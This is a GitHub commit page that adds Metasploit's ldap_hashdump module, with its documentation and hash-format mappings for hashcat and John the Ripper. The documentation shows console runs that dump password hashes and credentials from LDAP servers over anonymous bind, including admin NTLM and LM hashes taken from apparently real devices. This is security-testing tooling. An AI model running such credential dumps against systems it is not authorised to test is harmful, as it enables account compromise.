Skip to content

Commit f8bf996

Browse files
parent 1bd4a8d
author Hynek Petrak <[email protected]> 1595628792 +0200 committer Spencer McIntyre <[email protected]> 1598532753 -0400 Added module to dump hashes from LDAP added hash formatters, documentation, ldap authentication typo sanitizing added scenario for NASDeluxe added few hash attribute examples typo correction Co-authored-by: bcoles <[email protected]> typo correction Co-authored-by: bcoles <[email protected]> typo correction Co-authored-by: bcoles <[email protected]> avoid option name conflicts added test scenario linted linted Dump all nameContexts, not just the first one. Search creds in multiple attributes. attemt to dump special and operational attributes check if ldap bind succeeded sanitize the ldap hashes, skip invalid, remove {crypt} prefix memory optimization for large LDAP servers spaces at eols put header to the ldif loot added other LDAP hash formats, don't save empty ldif, dump root DSE now we handle vmdir case too explictly set md5crypt for $ Converted to scanner to improve performance on large networks krbprincipalkey, memory optimization for ldap.search handle additional hash types be verbose about search errors added per host timeout catch exception from Net::Ldap shorten the param value handle pwdhistory entries added comment about sambapwdhistory value reject shorter empty sambapassordhistory entries reject null nt and lm hashes report assumed clear text passwords refactored timeout for the sake of the loot ignore {SASL} pass-trough auth entries distinguish unresolved hashes from clear passwords print ldap server error message, meaningful loot name correct exception handling handle hashes with eol remove debug line handle pkcs12 in binary form attemt to control timeout on bind operation leave LDAP#bind to be called implicitly in #search remove debug line fixed bug, when pillage broke the outer LDAP#search learning ruby monkey patched ldap connection handling, ignoring bind errors commenting the net:LDAP misbehaviour review fixes review fixes moving ldap.search into a function remove fail_with, store loot from one place, print statistics linting consolidated ldap_new and connect, don't catch exceptions in the mixin Complete the credential creation Co-authored-by: Spencer McIntyre <[email protected]>
1 parent 518e7b3 commit f8bf996

File tree

8 files changed

+746
-63
lines changed

8 files changed

+746
-63
lines changed
Lines changed: 199 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,199 @@
1+
## Vulnerable Application
2+
3+
### Description
4+
5+
This module uses an LDAP connection to dump data from LDAP server
6+
using an anonymous or authenticated bind.
7+
Searching for specific attributes it collects user credentials.
8+
9+
### Setup
10+
11+
Tested in the wild.
12+
13+
You may eventually setup an intentionally insecure OpenLDAP server in docker.
14+
The below OpenLDAP server does not have any ACL, therefore the hashPassword
15+
attributes are readable by anonymous clients.
16+
17+
```
18+
$ git clone https://github.com/HynekPetrak/bitnami-docker-openldap.git
19+
$ cd bitnami-docker-openldap
20+
$ docker-compose up -d
21+
Creating bitnami-docker-openldap_openldap_1 ... done
22+
23+
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS 127.0.0.1
24+
RHOSTS => 127.0.0.1
25+
msf5 auxiliary(gather/ldap_hashdump) > set RPORT 1389
26+
RPORT => 1389
27+
msf5 auxiliary(gather/ldap_hashdump) > options
28+
29+
Module options (auxiliary/gather/ldap_hashdump):
30+
31+
Name Current Setting Required Description
32+
---- --------------- -------- -----------
33+
BASE_DN no LDAP base DN if you already have it
34+
BIND_DN no The username to authenticate to LDAP server
35+
BIND_PW no Password for the BIND_DN
36+
PASS_ATTR userPassword yes LDAP attribute, that contains password hashes
37+
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
38+
RPORT 1389 yes The target port
39+
SSL false no Enable SSL on the LDAP connection
40+
USER_ATTR dn no LDAP attribute, that contains username
41+
42+
43+
Auxiliary action:
44+
45+
Name Description
46+
---- -----------
47+
Dump Dump all LDAP data
48+
49+
50+
msf5 auxiliary(gather/ldap_hashdump) >
51+
52+
msf5 auxiliary(gather/ldap_hashdump) > run
53+
[*] Running module against 127.0.0.1
54+
55+
[*] Discovering base DN automatically
56+
[*] Searching root DSE for base DN
57+
[+] Discovered base DN: dc=example,dc=org
58+
[*] Dumping LDAP data from server at 127.0.0.1:1389
59+
[*] Storing LDAP data in loot
60+
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200801220435_default_127.0.0.1_LDAPInformation_704646.txt
61+
[*] Searching for attribute: userPassword
62+
[*] Taking dn attribute as username
63+
[+] Credentials found: cn=user01,ou=users,dc=example,dc=org:password1
64+
[+] Credentials found: cn=user02,ou=users,dc=example,dc=org:password2
65+
[*] Auxiliary module execution completed
66+
msf5 auxiliary(gather/ldap_hashdump) >
67+
68+
```
69+
70+
## Verification Steps
71+
72+
Follow [Setup](#setup) and [Scenarios](#scenarios).
73+
74+
## Actions
75+
76+
### Dump
77+
78+
Dump all LDAP data from the LDAP server.
79+
80+
## Options
81+
82+
### BASE_DN
83+
84+
If you already have the LDAP base DN, you may set it in this option.
85+
86+
### USER_ATTR
87+
88+
LDAP attribute to take the user name from. Defaults to DN, however you may
89+
wish to change it UID, name or similar.
90+
91+
### PASS_ATTR
92+
93+
LDAP attribute to take the password hash from. Defaults to userPassword,
94+
some LDAP server may use different attribute, e.g. unixUserPassword,
95+
sambantpassword, sambalmpassword.
96+
97+
## Scenarios
98+
99+
### Avaya Communication Manager via anonymous bind
100+
101+
```
102+
msf5 > use auxiliary/gather/ldap_hashdump
103+
msf5 auxiliary(gather/ldap_hashdump) > options
104+
105+
Module options (auxiliary/gather/ldap_hashdump):
106+
107+
Name Current Setting Required Description
108+
---- --------------- -------- -----------
109+
BASE_DN no LDAP base DN if you already have it
110+
PASS_ATTR userPassword yes LDAP attribute, that contains password hashes
111+
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
112+
RPORT 389 yes The target port
113+
SSL false no Enable SSL on the LDAP connection
114+
USER_ATTR dn no LDAP attribute, that contains username
115+
116+
117+
Auxiliary action:
118+
119+
Name Description
120+
---- -----------
121+
Dump Dump all LDAP data
122+
123+
124+
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address]
125+
RHOSTS => [redacted_ip_address]
126+
127+
msf5 auxiliary(gather/ldap_hashdump) > run
128+
[*] Running module against [redacted_ip_address]
129+
130+
[*] Discovering base DN automatically
131+
[*] Searching root DSE for base DN
132+
[+] Discovered base DN: dc=vsp
133+
[*] Dumping LDAP data from server at [redacted_ip_address]:389
134+
[*] Storing LDAP data in loot
135+
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121633_default_[redacted_ip_address]_LDAPInformation_716210.txt
136+
[*] Searching for attribute: userPassword
137+
[*] Taking dn attribute as username
138+
[+] Credentials found: uid=cust,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
139+
[+] Credentials found: uid=admin,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
140+
[*] Auxiliary module execution completed
141+
msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid
142+
USER_ATTR => uid
143+
msf5 auxiliary(gather/ldap_hashdump) > run
144+
[*] Running module against [redacted_ip_address]
145+
146+
[*] Discovering base DN automatically
147+
[*] Searching root DSE for base DN
148+
[+] Discovered base DN: dc=vsp
149+
[*] Dumping LDAP data from server at [redacted_ip_address]:389
150+
[*] Storing LDAP data in loot
151+
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121718_default_[redacted_ip_address]_LDAPInformation_712562.txt
152+
[*] Searching for attribute: userPassword
153+
[*] Taking uid attribute as username
154+
[+] Credentials found: cust:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
155+
[+] Credentials found: admin:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
156+
[*] Auxiliary module execution completed
157+
msf5 auxiliary(gather/ldap_hashdump) >
158+
```
159+
160+
### NASDeluxe - NAS with Samba LM/NTLM hashes
161+
162+
```
163+
msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid
164+
USER_ATTR => uid
165+
msf5 auxiliary(gather/ldap_hashdump) > set PASS_ATTR sambantpassword
166+
PASS_ATTR => sambantpassword
167+
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address]
168+
RHOSTS => [redacted_ip_address]
169+
170+
msf5 auxiliary(gather/ldap_hashdump) > run
171+
[*] Running module against [redacted_ip_address]
172+
173+
[*] Discovering base DN automatically
174+
[*] Searching root DSE for base DN
175+
[+] Discovered base DN: dc=server,dc=nas
176+
[*] Dumping LDAP data from server at [redacted_ip_address]:389
177+
[*] Storing LDAP data in loot
178+
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201006_default_[redacted_ip_address]_LDAPInformation_026574.txt
179+
[*] Searching for attribute: sambantpassword
180+
[*] Taking uid attribute as username
181+
[+] Credentials found: admin:209C6174DA490CAEB422F3FA5A7AE634
182+
[+] Credentials found: joe:58E8C758A4E67F34EF9C40944EB5535B
183+
[*] Auxiliary module execution completed
184+
185+
msf5 auxiliary(gather/ldap_hashdump) > run
186+
[*] Running module against [redacted_ip_address]
187+
188+
[*] Discovering base DN automatically
189+
[*] Searching root DSE for base DN
190+
[+] Discovered base DN: dc=server,dc=nas
191+
[*] Dumping LDAP data from server at [redacted_ip_address]:389
192+
[*] Storing LDAP data in loot
193+
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201731_default_[redacted_ip_address]_LDAPInformation_427417.txt
194+
[*] Searching for attribute: sambalmpassword
195+
[*] Taking uid attribute as username
196+
[+] Credentials found: admin:F0D412BD764FFE81AAD3B435B51404EE
197+
[+] Credentials found: joe:3417BE166A79DDE2AAD3B435B51404EE
198+
[*] Auxiliary module execution completed
199+
```

lib/metasploit/framework/hashes/identify.rb

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -42,6 +42,20 @@ def identify_hash(hash)
4242
return 'des,crypt'
4343
when hash =~ /^\$dynamic_82\$[\da-f]{128}\$HEX\$[\da-f]{32}$/ # jtr vmware ldap https://github.com/rapid7/metasploit-framework/pull/13865#issuecomment-660718108
4444
return 'dynamic_82'
45+
when hash.start_with?(/{SSHA}/i)
46+
return 'ssha'
47+
when hash.start_with?(/{SHA512}/i)
48+
return 'raw-sha512'
49+
when hash.start_with?(/{SHA}/i)
50+
return 'raw-sha1'
51+
when hash.start_with?(/{MD5}/i)
52+
return 'raw-md5'
53+
when hash.start_with?(/{SMD5}/i)
54+
return 'smd5'
55+
when hash.start_with?(/{SSHA256}/i)
56+
return 'ssha256'
57+
when hash.start_with?(/{SSHA512}/i)
58+
return 'ssha512'
4559
# windows
4660
when hash.length == 65 && hash =~ /^[\da-fA-F]{32}:[\da-fA-F]{32}$/ && hash.split(':').first.upcase == 'AAD3B435B51404EEAAD3B435B51404EE'
4761
return 'nt'

lib/metasploit/framework/password_crackers/cracker.rb

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -186,6 +186,20 @@ def jtr_format_to_hashcat_format(format)
186186
'10200'
187187
when 'dynamic_82'
188188
'1710'
189+
when 'ssha'
190+
'111'
191+
when 'raw-sha512'
192+
'1700'
193+
when 'raw-sha1'
194+
'100'
195+
when 'raw-md5'
196+
'0'
197+
when 'smd5'
198+
'6300'
199+
when 'ssha256'
200+
'1411'
201+
when 'ssha512'
202+
'1711'
189203
else
190204
nil
191205
end

lib/metasploit/framework/password_crackers/hashcat/formatter.rb

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -67,7 +67,8 @@ def hash_to_hashcat(cred)
6767
when /md5|des|bsdi|crypt|bf/, /mssql|mssql05|mssql12|mysql/, /sha256|sha-256/,
6868
/sha512|sha-512/, /xsha|xsha512|PBKDF2-HMAC-SHA512/,
6969
/mediawiki|phpass|PBKDF2-HMAC-SHA1/,
70-
/android-sha1/, /android-samsung-sha1/, /android-md5/
70+
/android-sha1/, /android-samsung-sha1/, /android-md5/,
71+
/ssha/, /raw-sha512/
7172
# md5(crypt), des(crypt), b(crypt), sha256, sha512, xsha, xsha512, PBKDF2-HMAC-SHA512
7273
# hash-mode: 500 1500 3200 7400 1800 122 1722 7100
7374
# mssql, mssql05, mssql12, mysql, mysql-sha1
@@ -76,6 +77,8 @@ def hash_to_hashcat(cred)
7677
# hash-mode: 3711, 400, 12001
7778
# android-sha1
7879
# hash-mode: 5800
80+
# ssha, raw-sha512
81+
# hash-mode: 111, 1700
7982
return cred.private.data
8083
end
8184
end

lib/metasploit/framework/password_crackers/jtr/formatter.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -63,6 +63,8 @@ def hash_to_jtr(cred)
6363
# /des(crypt)/
6464
# /mediawiki|phpass|atlassian/
6565
# /dynamic_82/
66+
# /ssha/
67+
# /raw-sha512/
6668
return "#{cred.public.username}:#{cred.private.data}:#{cred.id}:"
6769
end
6870
end

0 commit comments

Comments
 (0)